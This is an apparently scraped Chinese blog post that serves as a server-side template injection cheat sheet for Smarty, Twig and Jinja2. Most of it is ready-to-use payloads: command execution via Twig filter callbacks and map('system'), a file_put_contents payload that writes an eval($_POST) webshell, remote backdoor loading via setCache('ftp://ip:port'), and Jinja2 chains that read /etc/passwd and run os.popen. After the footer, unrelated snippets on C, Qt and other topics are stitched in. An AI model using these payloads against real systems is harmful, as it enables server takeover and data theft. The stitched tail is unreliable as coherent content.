SSTI模板注入

2023-11-04

探测

使用${{<%[%'"}}%\测试,如引发异常,说明可能存在模板注入。

识别

判断模板

  • PHP模板
    Smarty
    Twig

  • Python模板
    Mako
    jinja2
    tornado
    django

利用

Smarty

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号
{literal}可以让一个模板区域的字符原样输出
对于php5的环境我们就可以使用

<script language="php">phpinfo();</script>

PHP7,这种方法就 失效

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else}{elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等
{if phpinfo()}{/if},可以执行phpinfo()

{if php代码}{/if}

Twig

if/elseif/else/ for以及程序块之类的可以出现在 {{% ... %}}
在 Twig 模板中可以直接调用函数如range()
Twig 提供的 include函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板
例如

 {{ include('sidebar.html') }}

1.x

在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template实例,并提供了指向 Twig_Environment的 env属性,这样我们就可以继续调用 Twig_Environment中的其他方法

payload

{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}

通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含

在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

twig2.x/3.x

map过滤器
map过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值
payload:

		{{["whoami"]|map("system")}}
		{{["whoami"]|map("passthru")}}
		{{["whoami"]|map("exec")}}    // 无回显
		{{{"<?php phpinfo();eval($_POST[whoami]);":"./shell.php"}|map("file_put_contents")}}  //shell

map所对应的函数如下

function twig_array_map($array $arrow){
	$r = [];
	foreach ($array as $k => $v) {
		$r[$k] = $arrow($v $k);
	}
	return $r;
}

其中传入的 $arrow直接就被当成函数执行,即 $arrow($v, $k),而 $v$k分别是 $array中的 value 和 key。$array$arrow是可控的
相似的还有filterreduce

jinja2

__class__ 用于返回该对象所属的类,比如字符串,所属的类为<class ‘str’>

__bases__ 以元组的形式返回一个类所直接继承的类。

__base__ 以字符串返回一个类所直接继承的第一个类。

__mro__ 返回解析方法调用的顺序。

__subclasses__() 获取类的所有子类。

__init__ 所有自带类都包含init方法。

__globals__ 用于获取function所处空间下可使用的module、方法以及所有变量。

  • 注入思路

使用内置类对象用__class__拿到他所对应的类,用__bases__拿到基类(<class 'object'>) 用__subclasses__()拿到子类列表,在子类列表中直接寻找可以利用的类getshell

payload

  • python2

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
  • python3
 #命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SSTI模板注入 的相关文章

随机推荐

  • c语言 什么时候需要动态分配内存?

    我讲解一下c语言中动态分配内存的函数 可能有些初学c语言的人不免要问了 我们为什么要通过函数来实现动态分配内存呢 系统难道不是会自动分配内存吗 既然有人会问这样的问题 那么我在这里好好的讲解一下吧 首先让我们熟悉一下计算机的内存吧 在计算机
  • qt中的线程

    目前我暂时会两种线程方式 一种是继承QTHRead 另一种是movetothread 相对二样 第二种好一些 先来介绍一下第一个方法 继承QTHread public A QThread void run 重新run函数 public B
  • python sqlalchemy 多对多

    调用Column创建字段 加类型 from sqlalchemy import Table Column Integer String DATE ForeignKey 调用操作链接 反查 from sqlalchemy orm import
  • 数据结构--树与二叉树

    一 树的概述1 树的基本概念 N个结点组成一对多关系的层次结构 N 0 为空树 N 1 只有根结点的树 N gt 1 树 A 逻辑定义 前驱后继 有且仅有一个根结点 除根结点外 每一个节点有且仅有一个前驱结点 每个结点可以有0个或多个后继结
  • 冒险岛 vcruntime140.dll 丢失问题的多种方法,几种解决方法都有效

    当您尝试启动冒险岛游戏时 可能会遇到一个名为 vcruntime140 dll 丢失 的错误提示 vcruntime140 dll 是冒险岛游戏所需的一个重要系统文件 如果系统无法找到或加载该文件 您将无法正常启动游戏 在本文中 我们将详细
  • 测试存储过程中中发生异常时,之前DML操作会不会rollback

    span style font family none span style font size 14px 步骤 span span span style font size 14px 1 向表中productinfo插入一条数据 span
  • vosviewer保存成PDF文件时没有文字

    1 将vosviewer中英文国家名字 手工更换为中文后 重新导入软件 2 点击Screenshot后面的三角标 并选择 Save 3 打开PDF文件 发现另存的PDF中没有文字 还在研究如何解决
  • UI/UX记——Adobe XD

    文章目录 前言 一 Adobe XD是什么 二 3D 变换 开启全新维度进行设计 实现不可能 在作品中实现三维效果 助力流程与时俱进 操作 1 选择组件 2 启用 3D 变换 3 旋转和移动 组件 使用可重复使用的设计元素进行扩展 深入令人
  • Java:详解List集合的排序功能

    概述 List集合有两大排序方式 分别为自然排序和自定义排序 使用自然排序 需要元素类达到某种要求 使用自定义排序 就是在需要排序的时候才传入排序规则 自然排序 自然排序是 Collections sort 方法 只带一个参数 参数为Lis
  • (Java)蓝桥杯_分巧克力

    题目描述 儿童节那天有K位小朋友到小明家做客 小明拿出了珍藏的巧克力招待小朋友们 小明一共有N块巧克力 其中第i块是Hi x Wi的方格组成的长方形 为了公平起见 小明需要从这 N 块巧克力中切出K块巧克力分给小朋友们 切出的巧克力需要满足
  • 判断对象为空

    一 判断对象为空的方法 1 使用Object keys 判断length是否为0 这里的0是Number类型 代码如下 2 使用JSON stringify 判断是否 代码如下 判断结果是否等于 去判断是否为空对象 3 使用for in 循
  • 使用Jquery设计列表

    1 截取文字内容实现控制列表宽度 使用的技术 1 jQuery的ready 函数 文档加载完成 2 jQuery的each 函数 遍历jQuery对象 3 jQuery的text 函数 所有匹配元素的内容 document ready fu
  • 1.react useState使用与常见问题

    文章目录 0 取消批处理合并更新 render 2次 1 合并更新 setCount 异步更新 3次相当于1次 count值为1 2 如何取消批处理合并 让值累加 改为回调函数写法 内部会依次执行函数 执行3次 count值为3 3 异步更
  • Grafana 重置 admin 密码

    Grafana 的使用越来越广泛 在使用过程中经常遇到要重置密码的需求 尤其是 admin 密码 先说常规问题 已知 admin 密码修改新密码 方法一 常规方法 使用已知密码登陆系统 在系统页面里进行修改 方法二 API 接口 接口使用方
  • React 生命周期详细解析及新旧对比

    React 生命周期 旧 react旧版生命周期包含三个过程 1 挂载过程 constructor componentWillMount componentDidMount 2 更新过程 componentWillReceiveProps
  • Linux和Windows下:Python Crypto模块安装方式区别

    欢迎关注 无量测试之道 公众号 回复 领取资源 Python编程学习资源干货 Python Appium框架APP的UI自动化 Python Selenium框架Web的UI自动化 Python Unittest框架API自动化 资源和代码
  • RTX2080ti显卡+Ubuntu+安装Tensorflow-gpu

    参考这两篇文章 https blog csdn net macunshi article details 84638675 https blog csdn net macunshi article details 83374973 结合这两
  • 【算法】排序2:三种方法实现快速排序

    快速排序是一种二叉树结构的交换排序方法 其基本思想为 任取待排序元素序列中的某元素作为基准值 按照该排序码将待排序集合分割成两子序列 左子序列中所有元素均小于基准值 右子序列中所有元素均大于基准值 然后最左右子序列重复该过程 直到所有元素都
  • fork和multiprocessing

    多任务理解 单核cpu完成多个cpu的切换 时间片轮转 优先级调度 并发看上去一起执行 并行一起执行 调度算法 什么样的情况下用什么样的规则让谁去执行 一般情况下电脑都是并发的 进程的创建 fork 进程VS程序 编写完毕的代码 在没有运行
  • SSTI模板注入

    SSTI模板注入 探测 识别 利用 Smarty Twig 1 x twig2 x 3 x jinja2 探测 使用